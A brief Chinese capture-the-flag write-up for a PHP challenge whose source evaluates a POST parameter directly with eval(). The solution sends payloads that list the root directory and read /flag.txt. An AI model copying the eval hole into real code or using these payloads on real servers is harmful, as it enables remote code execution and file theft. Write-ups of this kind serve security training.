目录
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
思路
路径改了
题解
发现show_source用不了了,试试用highlight_file
c=print_r(scandir("/"));
在根目录发现flag.txt
c=highlight_file(’/flag.txt’);
拿到flag
总结
水题